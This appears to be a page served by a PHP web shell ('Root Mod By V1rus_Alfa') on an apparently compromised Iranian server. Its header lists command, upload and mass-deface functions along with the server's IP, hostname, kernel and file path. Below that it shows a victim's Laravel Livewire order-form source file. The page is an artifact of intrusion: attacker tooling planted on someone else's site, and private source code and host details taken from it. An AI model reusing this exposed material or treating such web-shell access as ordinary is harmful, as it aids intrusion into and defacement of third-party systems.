���Root Mod By V1rus_Alfa
User / IP
:
216.73.217.78
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
cutunix
/
app
/
Livewire
/
Admin
/
Pages
/
Order
/
Viewing: Add.php
<?php namespace App\Livewire\Admin\Pages\Order; use Livewire\Component; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Validator; use Masmerise\Toaster\Toastable; use function App\Helpers\DateNow; use function App\Helpers\saveUser; use Illuminate\Filesystem\Filesystem; use App\Models\User; use App\Models\Order; use App\Models\OrderSlice; use App\Models\OrderLog; use App\Models\UserServices; use App\Models\OrderGroup; use App\Models\Product; use App\Models\OrderStatus; use App\Models\ServiceStatus; use App\Jobs\ProcessExport; use Carbon\Carbon; use Illuminate\Http\Request; use App\Helpers\HelperClass\GeneralUse; class Add extends Component { use Toastable; protected $listeners = ['refreshData' => '$refresh','selectData' => 'handelSelectData',]; public $number=100; public $services_id; public $customer_id; public $user_id; public $status_services; public $status_em_services; public $num=1; public function mount(Request $request){ $this->authorize('orders.add'); if(auth()->user()->can( 'services')){ $last=Order::where('services_id',auth()->user()->id)->max('number') ; if($last){ $this->number=(int)$last + 1 ; } } if($request->customer_id){ $this->customer_id=$request->customer_id; } if($request->user_id){ $this->user_id=$request->user_id; } $this->status_services=OrderStatus::orderby('sort','asc')->first()?->title; $this->status_em_services=ServiceStatus::orderby('sort','asc')->first()?->title; } public $form=[ 'name'=>'', 'type'=>'slice', 'sheet_status_services'=>'', 'sheet_status_customer'=>'', 'send_status'=>'', 'service_id'=>'', 'user_id'=>'', 'groups'=>[ 0 => [ 'product_id'=>'', 'wood_thickness'=>'', 'color_strip'=>'', 'width_strip'=>'', 'height_strip'=>'', 'wood_type'=>'', 'panel_description'=>'', 'panel_width'=>'', 'panel_height'=>'', 'rotate_status'=>'', 'num_slice'=>1, 'slice'=>[ 0 => [ 'length'=>'', 'width'=>'', 'count'=>'', 'length_one'=>'', 'length_two'=>'', 'width_one'=>'', 'width_two'=>'', 'rotate_status'=>'', 'description'=>'', ] ] ] ] ]; public function handelSelectData($id,$type) { if($type == 'user_id'){ $this->form['user_id']=$id; }else if ($type == 'service_id'){ $this->form['service_id']=$id; } } public function handelGroup($type=null) { if($type == 'increment'){ $this->num=$this->num+1; array_push($this->form['groups'],[ 'product_id'=>'', 'wood_thickness'=>'', 'color_strip'=>'', 'width_strip'=>'', 'height_strip'=>'', 'wood_type'=>'', 'panel_description'=>'', 'panel_width'=>'', 'panel_height'=>'', 'rotate_status'=>'', 'num_slice'=>1, 'slice'=>[ 0 => [ 'length'=>'', 'width'=>'', 'count'=>'', 'length_one'=>'', 'length_two'=>'', 'width_one'=>'', 'width_two'=>'', 'rotate_status'=>'', 'description'=>'', ] ] ]); $this->dispatch('refreshData' ); }elseif(1 < $this->num){ $this->num=$this->num-1; unset($this->form['groups'][$this->num]); } } public function handelSlice($type=null,$num=null ) { if($type == 'increment'){ $this->form['groups'][$num]['num_slice']=$this->form['groups'][$num]['num_slice']+1; array_push($this->form['groups'][$num]['slice'],[ 'length'=>'', 'width'=>'', 'count'=>'', 'length_one'=>'', 'length_two'=>'', 'width_one'=>'', 'width_two'=>'', 'rotate_status'=>'', 'description'=>'', ]); }elseif(1 < $this->form['groups'][$num]['num_slice']){ $this->form['groups'][$num]['num_slice']=$this->form['groups'][$num]['num_slice']-1; array_splice($this->form['groups'][$num]['slice'], $this->form['groups'][$num]['num_slice'], 1); } } public function removeSliceRow($s=null,$num=null ) { array_splice($this->form['groups'][$num]['slice'], $s, 1); $this->form['groups'][$num]['num_slice']=$this->form['groups'][$num]['num_slice']-1; } public function validate_data() { $error=null; if(auth()->user()->can( 'admin') || auth()->user()->can( 'secretary')){ if(!$this->form['service_id'] || $this->form['service_id']=='0'){ $error='true'; $this->error(' فیلد خدماتی الزامی می باشد '); return $error; } } if(!$this->form['user_id'] || $this->form['user_id']=='0'){ $error='true'; $this->error(' فیلد مشتری الزامی می باشد '); return $error; } if(!$this->form['send_status'] || $this->form['send_status']=='0'){ $error='true'; $this->error(' فیلد نحوه ارسال الزامی می باشد '); return $error; } foreach ($this->form['groups'] as $g=>$group) { $g=$g+1; if(!$group['panel_width']){ $error='true'; $this->error(' فیلد عرض ورق در گروه '.$g.' اجباری می باشد '); return $error; } if(!$group['panel_height']){ $error='true'; $this->error(' فیلد طول ورق در گروه '.$g.' اجباری می باشد '); return $error; } if(!$group['wood_thickness']){ $error='true'; $this->error(' فیلد ضخامت ورق در گروه '.$g.' اجباری می باشد '); return $error; } if(!$group['wood_type']){ $error='true'; $this->error(' فیلد مغزی ورق در گروه '.$g.' اجباری می باشد '); return $error; } if(!$group['color_strip']){ $error='true'; $this->error(' فیلد رنگ نوار در گروه '.$g.' اجباری می باشد '); return $error; } if(!$group['width_strip']){ $error='true'; $this->error(' فیلد ضخامت نوار در گروه '.$g.' اجباری می باشد '); return $error; } foreach ($this->form['groups'][$g-1]['slice'] as $s=>$slice) { $s=(int)$s+1; if(!$slice['length']){ $error='true'; $this->error(' فیلد عرض در تکه شماره '.$s.' در گروه '.$g.' اجباری می باشد '); return $error; } if(!$slice['width']){ $error='true'; $this->error(' فیلد عرض در تکه شماره '.$s.' در گروه '.$g.' اجباری می باشد '); return $error; } if(!$slice['count']){ $error='true'; $this->error(' فیلد تعداد در تکه شماره '.$s.' در گروه '.$g.' اجباری می باشد '); return $error; } } } return $error; } public function submit(Filesystem $filesystem) { //validation if($this->form['type'] != 'chat'){ $validate= $this->validate_data(); if($validate){ return $validate; } } //Set Service_id and Check Customer $services_id=$this->form['service_id']; if(!$services_id){ if(auth()->user()->can( 'employee')){ $services_id=auth()->user()->parent; }else{ $services_id=auth()->user()->id; } } saveUser($this->form['user_id'],$services_id); $customer_id=null; $customer=UserServices::where('services_id',$services_id)->where('user_id',$this->form['user_id'])->first(); if($customer){ $customer_id=$customer->id; } //Set Data $order=Order::create([ 'number'=>$this->number, 'services_id'=>$services_id, 'name'=>$this->form['name'], 'count_part'=>$this->num, 'sheet_status_services'=>$this->form['sheet_status_services'], 'sheet_status_customer'=>$this->form['sheet_status_customer'], 'send_status'=>$this->form['send_status'], 'status'=>'send', 'type'=>$this->form['type'], 'status_services'=>$this->status_services, 'status_em_services'=>$this->status_em_services, 'user_id'=>$this->form['user_id'], 'customer_id'=>$customer_id, ]); OrderLog::create([ 'text'=>'در حال پردازش', 'date_show'=>DateNow('add_day_s',0), 'type'=>'services', 'user_id'=>auth()->user()->id, 'order_id'=>$order->id, ]); if($this->form['type'] != 'chat'){ GeneralUse::create_group_slice($filesystem,$this->form,$order,$customer,$services_id); } GeneralUse::submitControl($order->id,$this->form['name'],$this->number); //response session()->flash('successRequest', 'سفارش با موفقیت ثبت گردید'); return redirect()->to('/admin/dashboard/order/'.$order->id); } public function render() { $users=UserServices:: when(auth()->user()->can( 'services'),function($q){ $q->where('services_id',auth()->user()->id); } ) ->latest()->get(); $services=User::permission( 'services') ->get(); $products=Product::when(auth()->user()->can( 'employee'),function($q){ $q->where('user_id',auth()->user()->parent); },function($q){ $q->where('user_id',auth()->user()->id); })->orderBy('id','desc')->limit(10)->get(); $data=[ 'users'=>$users,'services'=>$services,'products'=>$products]; return view('livewire.admin.pages.order.add', $data)->layoutData(['page_name' => 'show_order']); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa